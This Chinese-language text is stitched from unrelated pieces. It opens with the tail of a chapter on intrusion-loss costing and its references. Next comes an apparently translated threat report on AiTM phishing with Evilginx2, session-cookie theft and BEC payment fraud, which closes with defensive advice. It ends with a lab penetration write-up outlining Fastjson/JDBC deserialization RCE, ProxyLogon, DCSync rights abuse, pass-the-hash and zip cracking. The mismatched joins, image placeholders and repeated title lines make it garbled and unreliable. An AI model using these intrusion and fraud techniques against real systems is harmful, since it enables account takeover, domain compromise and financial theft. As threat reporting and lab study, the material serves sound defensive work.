向前邁進在本章中,我們提出了一些原則和方法,以有效和務實地捕獲網絡入侵成本的相關組件。這裡總結的結論可用於事後分析,或作為預測潛在數據洩露事件的輸入。

參考資源

1、Borg,Scott,“TheEconomicsofLoss”,inEnterpriseInformationSecurityPrivacy,Axelrod,BayukSchutzer,Eds.(Norwood,MA:ArtechHouse,2009)。

2、巴塞爾銀行監督委員會(2003年),《经营风险管理和监督的健全做法》 (BCBS96www.bis.org)。

3、巴塞爾銀行監管委員會(2013)有效風險數據匯總和風險報告原則(BCBS239www.bis.org)。

4、伊薩卡(2012).COBIT5,使能流程。信息系統審計與控制協會(www.isaca.org)。

5、波耐蒙研究所(2017)。數據洩露研究的成本,全球概述。 https://www.ibm.com/account/reg/us-en/signup?formid=urx-33316

6、VerizonEnterprise.(2017).“2017年數據洩露調查報告,第10版。

使用中間人攻擊(AiTM)網絡釣魚網站的大規模網絡釣魚活動竊取了用戶的密碼,劫持了用戶的登錄會話,即使用戶啟用了多因素身份驗證(MFA),也會跳過身份驗證過程。然後,攻擊者使用竊取的憑證和會話cookie訪問受影響用戶的郵箱,並針對其他目標進行後續的商業電子郵件攻擊活動。自2021年9月以來,AiTM網絡釣魚活動已嘗試對1萬多個組織進行攻擊。

Figure1-overview-of-aitm-phishing.png

網絡釣魚仍然是攻擊者在試圖獲得對組織的初始訪問時最常用的技術之一。在AiTM釣魚攻擊中,攻擊者在目標用戶和用戶希望訪問的網站(即攻擊者希望模擬的網站)之間部署一個代理服務器。這樣的設置允許攻擊者竊取和攔截目標的密碼和會話cookie,這些cookie可以證明他們與該網站正在進行的、經過身份驗證的會話。不過,這不是MFA中的漏洞。由於AiTM網絡釣魚竊取了會話cookie,攻擊者將代表用戶獲得會話的身份驗證,而不管後者使用的登錄方法。

研究人已檢測到與AiTM釣魚攻擊及其後續活動相關的可疑活動,如竊取會話cookie和試圖使用竊取的cookie登錄到ExchangeOnline。然而,為了進一步保護自己免受類似的攻擊,防護人員還應該考慮用條件訪問策略來補充MFA,其中登錄請求使用額外的身份驅動信號來評估,如用戶或組成員身份、IP位置信息和設備狀態等。

AiTM網絡釣魚的工作原理每個現代Web服務都會在成功驗證後與用戶進行會話,這樣用戶就不必在他們訪問的每個新頁面上都進行驗證。此會話功能是通過在初始身份驗證後由身份驗證服務提供的會話cookie實現的。會話cookie向Web服務器證明用戶已通過身份驗證並且在網站上具有正在進行的會話。在AiTM網絡釣魚中,攻擊者試圖獲取目標用戶的會話cookie,以便他們可以跳過整個身份驗證過程並代表後者採取行動。

為此,攻擊者會部署一個web服務器,它將訪問釣魚網站用戶的HTTP數據包代理到攻擊者希望冒充的目標服務器,反之亦然。這樣,釣魚網站在視覺上與原始網站是相同的,因為每個HTTP都是通過代理來訪問和來自原始網站。攻擊者也不需要像傳統的網絡釣魚活動那樣製作自己的網絡釣魚網站。 URL是網絡釣魚網站和實際網站之間唯一可見的區別。

AiTM釣魚過程如下:

Figure2-aitm-phishing-website-intercepting-authentication.png

AiTM釣魚網站攔截認證過程

網絡釣魚頁面有兩個不同的傳輸層安全(TLS)會話與目標想要訪問的實際網站。這些會話意味著網絡釣魚頁面實際上充當AiTM代理,攔截整個身份驗證過程並從HTTP請求中提取有價值的數據,例如密碼,更重要的是會話cookie。一旦攻擊者獲得會話cookie,他們可以將其註入瀏覽器以跳過身份驗證過程,即使目標的MFA已啟用。

AiTM網絡釣魚過程目前可以使用開源網絡釣魚工具包和其他在線資源實現自動化。廣泛使用的套件包括Evilginx2、Modlishka和Muraena。

跟踪AiTM網絡釣魚活動研究人員檢測到自2021年9月以來試圖針對1萬多個組織的AiTM釣魚活動的多次迭代,該活動自2021年9月以來試圖針對10000多個組織。這些運行似乎鏈接在一起,並通過欺騙Office在線身份驗證頁面來針對Office365用戶。

根據分析,這些活動迭代使用Evilginx2釣魚工具作為其AiTM基礎設施。研究人員還發現了他們在攻擊後活動中的相似之處,包括目標郵箱中的敏感數據枚舉和支付欺詐。

初始訪問在研究人員觀察到的一次運行中,攻擊者向不同組織中的多個收件人發送帶有HTML文件附件的電子郵件。電子郵件通知目標收件人,他們有語音消息。

Figure3-sample-phishing-email-with-html-attachment.png

帶有HTML文件附件的網絡釣魚電子郵件示例

當收件人打開附加的HTML文件時,它會加載到用戶的瀏覽器中並顯示一個頁面,通知用戶正在下載語音消息。但是請注意,下載進度條在HTML文件中是硬編碼的,因此沒有獲取MP3文件。

Figure4-html-attachment-loaded-in-targets-browser.png

在目標瀏覽器中加載的HTML文件附件

Figure5-html-attachment-source-code.png

HTML附件的源代碼

相反,該頁面將用戶重定向到一個重定向網站:

Figure6-screenshot-of-redirector-site.png

重定向網站的截圖

這個重定向器充當了看門人的角色,以確保目標用戶來自原始HTML附件。為此,它首先驗證url中預期的片段值(在本例中是用base64編碼的用戶電子郵件地址)是否存在。如果該值存在,則該頁面將連接釣魚網站登錄頁面上的值,該值也以Base64 編碼並保存在“link”變量中。

Figure7-redirection-logic-included-in-script-tag.png

重定向器網站的script 標記中包含的重定向邏輯

通過結合這兩個值,隨後的網絡釣魚登陸頁面會自動使用用戶的電子郵件地址填寫登錄頁面,從而增強其社會工程誘餌。該技術也是該活動試圖阻止傳統反網絡釣魚解決方案直接訪問網絡釣魚URL 的嘗試。

請注意,在其他情況下,研究人員觀察到重定向器頁面使用以下URL 格式:

从窃取cookie到BEC:攻击者使用AiTM钓鱼网站作为进一步财务欺诈的入口

在這種格式中,目標的用戶名被用作無限子域技術的一部分。

从窃取cookie到BEC:攻击者使用AiTM钓鱼网站作为进一步财务欺诈的入口

目標瀏覽器上加載的規避重定向器網站

重定向後,用戶最終以用戶名作為片段值登陸了Evilginx2 網絡釣魚網站。例如:

从窃取cookie到BEC:攻击者使用AiTM钓鱼网站作为进一步财务欺诈的入口

網絡釣魚登錄頁面示例

網絡釣魚網站代理了組織的Azure Active Directory (Azure AD) 登錄頁面,通常是login.microsoftonline.com。如果組織已將其Azure AD 配置為包含其品牌,則網絡釣魚網站的登錄頁面也包含相同的品牌元素。

从窃取cookie到BEC:攻击者使用AiTM钓鱼网站作为进一步财务欺诈的入口

檢索組織的Azure AD 品牌的網絡釣魚登錄頁面模型

一旦目標輸入他們的憑據並通過身份驗證,他們就會被重定向到合法的office.com 頁面。然而,在後台,攻擊者截獲了上述憑據並代表用戶進行了身份驗證。這允許攻擊者在組織內部執行後續活動,在本例中為支付欺詐。

支付欺詐支付欺詐是指攻擊者欺騙欺詐目標將支付轉移到攻擊者擁有的賬戶。它可以通過劫持和回復正在進行的金融相關的電子郵件進行,並誘使欺詐目標通過虛假髮票等方式匯款來實現。

研究人員發現,在證書和會話被盜後,攻擊者只需5分鐘就可以啟動他們的後續支付欺詐。在首次登錄釣魚網站後,攻擊者使用竊取的會話cookie 對Outlook Online (outlook.office.com) 進行身份驗證。在許多情況下,cookie都有MFA聲明,這意味著即使該組織有MFA策略,攻擊者也會使用會話cookie 代表受感染的帳戶獲得訪問權限。

尋找目標在cookie 被盜後的第二天,攻擊者每隔幾個小時訪問一次與財務相關的電子郵件和文件附件文件。他們還搜索了正在進行的電子郵件進程,其中付款欺詐是可行的。此外,攻擊者從受感染帳戶的收件箱文件夾中刪除了他們發送的原始網絡釣魚電子郵件,以隱藏其初始訪問的痕跡。

這些活動表明攻擊者試圖手動進行支付欺詐。他們也在雲端進行了這項工作,他們在Chrome 瀏覽器上使用Outlook Web Access (OWA),並在使用被盜帳戶的被盜會話cookie 的同時執行上述活動。

一旦攻擊者找到相關的電子郵件進程,他們就會繼續使用他們的逃避技術。因為他們不希望被盜帳戶的用戶注意到任何可疑的郵箱活動,所以攻擊者創建了一個具有以下邏輯的收件箱規則來隱藏欺詐目標的任何未來回复:

“對於發件人地址包含[欺詐目標的域名]的每封傳入電子郵件,將郵件移動到“存檔”文件夾並將其標記為已讀。”

進行付款欺詐設置規則後,攻擊者立即回復與目標和其他組織的員工之間的付款和發票相關的正在進行的電子郵件進程,如創建的收件箱規則所示。然後,攻擊者從受感染帳戶的“已發送郵件”和“已刪除郵件”文件夾中刪除了他們的回复。

在執行初始欺詐嘗試幾個小時後,攻擊者每隔幾個小時登錄一次以檢查欺詐目標是否回復了他們的電子郵件。在許多情況下,攻擊者通過電子郵件與目標溝通了幾天。在發送回回復後,他們從Archive文件夾中刪除目標的回复。他們還從“已發郵件”文件夾中刪除了郵件。

有一次,攻擊者從同一個被攻擊的郵箱同時進行了多次欺詐嘗試。每當攻擊者發現新的欺詐目標時,他們就會更新他們創建的收件箱規則,以包括這些新目標的組織域。

以下是該活動基於Microsoft365Defender的威脅數據的端到端攻擊鏈總結:

从窃取cookie到BEC:攻击者使用AiTM钓鱼网站作为进一步财务欺诈的入口

防禦AiTM網絡釣魚和BEC

此AiTM 網絡釣魚活動是威脅如何繼續演變以響應組織為保護自己免受潛在攻擊而採取的安全措施和政策的另一個例子。由於去年許多最具破壞性的攻擊都利用了憑據網絡釣魚,我們預計類似的嘗試會在規模和復雜性上增長。

雖然AiTM 網絡釣魚試圖繞過MFA,但MFA 實施仍然是身份安全的重要支柱。 MFA 在阻止各種威脅方面仍然非常有效;它的有效性是AiTM 網絡釣魚首先出現的原因。因此,組織可以通過使用支持Fast ID Online (FIDO) v2.0 和基於證書的身份驗證的解決方案來使其MFA 實施“抵禦網絡釣魚”。

防御者還可以通過以下解決方案免受這類攻擊1.啟用條件訪問策略。每次攻擊者嘗試使用被盜的會話cookie 時,都會評估和執行條件訪問策略。組織可以通過啟用合規設備或受信任的IP 地址要求等策略來保護自己免受利用被盜憑據的攻擊。

2.投資於監控和掃描傳入電子郵件和訪問過的網站的高級反網絡釣魚解決方案。例如,組織可以利用能夠自動識別和阻止惡意網站的網絡瀏覽器,包括在此網絡釣魚活動中使用的網站。

3.持續監控可疑或異常活動:

3.1尋找具有可疑特徵的登錄嘗試(例如,位置、ISP、用戶代理、使用匿名服務)。

3.2尋找不尋常的郵箱活動,例如創建具有可疑目的的收件箱規則或通過不受信任的IP 地址或設備訪問異常數量的郵件項目。

0x00 Intro

  1. OSCP 渗透风格,脱离C2和MSF之类的工具
  2. Box 难度不高

 

0x01 Info

  • Tag: JDBC, Exchange, NTLM, Coerce Authentication, DCSync
    fmccxbgne2314289.png

 

0x02 Recon

  1. Target external IP
    39.98.179.149
  2. Nmap results
    gd3d3zmjfna14294.png
  3. 直接关注8000端口,前面我已经怼过80了,没东西直接过
    nltfgdtr3ml14296.png
  4. 华夏ERP,有很多漏洞的,入口点卡了很久,后面看到JDBC,直接谷歌一搜就搜到大哥的文章了
    Fastjson高版本的奇技淫巧 – Bmth (bmth666.cn)(http://www.bmth666.cn/bmth_blog/2022/10/19/Fastjson%E9%AB%98%E7%89%88%E6%9C%AC%E7%9A%84%E5%A5%87%E6%8A%80%E6%B7%AB%E5%B7%A7/#%E8%93%9D%E5%B8%BD%E6%9D%AF2022%E5%86%B3%E8%B5%9B-%E8%B5%8C%E6%80%AA)
  5. 构造payload
    wqlqhhlvnsz14298.png
  6. Configure MySQL_Fake_Server
    0zgmzzycvdh14300.png
  7. 未授权 + MySQL Connector JDBC反序列化组合拳直接RCE
    4k5rmuj4w5s14302.png
  8. RCE后直接获取 Flag01
    irvo352nip214303.png

 

0x03 入口点:172.22.3.12

  1. SMB扫描内网主机,看到Exchange关键字 (EXC01),尝试访问
    5di1ume0ddg14305.png
  2. 172.22.3.9 为 Exchange
    uki4eyqfgkv14307.png
  3. Proxylogon 直接打死,获取system权限
    n5yiuxithga14309.png
    wexhs53esya14311.png
  4. flag02(后续凭据收集略过)
    nsvv4wp5pwo14312.png

 

0x04 入口点:172.22.3.9

  • 快进1:已经收集到了exchange机器账户的hash
  • 快进2:同时收集到了一个域账户凭据:Zhangtong
  1. 这边已经通过上面的操作收集到了exchange的机器账户hash,exchang的机器账户在域内对整个domain-object有writedacl权限,那我们直接使用dacledit.py给Zhangtong加dcsync权限(其实你也可以给自己加上dcsync)
    vlwcphotzil14314.png
  2. Dcsync,获取到域管和用户lumia的hashes
    dtfq0cqmvrs14317.png
  3. 进入 172.22.3.2 获取flag04
    wimvkiqxy5i14319.png

 

0x05 Final:172.22.3.26

  1. 172.22.3.26上面的Lumia用户文件夹里面有个secret.zip
    yvdwua41a3f14321.png
  2. 直接PTH Exchange导出Lumia mailbox里面的全部邮件以及附件
    4b5ucip4jaq14322.png
  3. item-0.eml,提示密码是手机号
    sv5vb1oamo014323.png
  4. 刚好导出的附件里面有一个csv,里面全是手机号
    jdx1iycla3t14324.png
  5. 常规操作,转换成pkzip格式的hash再跑字典,跑出密码
    bmuoaibotbh14325.png
    lm1koh35xup14326.png
    ee4s12b0nfj14327.png
  6. flag03
    d2laogk1t3d14328.png
    a3ewonvabrz14329.png

 

0x06 Outro

  1. Exchange 后渗透那,作者本意是想让我们用 NTLM Relay去完成DCSync提权,获取Exchange SYSTEM权限后,触发webdav回连中继到ldap,这里的话就不尝试了,有兴趣的话可以看我上一篇文章 Spoofing
     2.Lumia用户登录exchange那,作者也是想让你改掉Lumia用户的密码,但是我就懒了,直接PTH
原文链接: https://www.anquanke.com/post/id/286967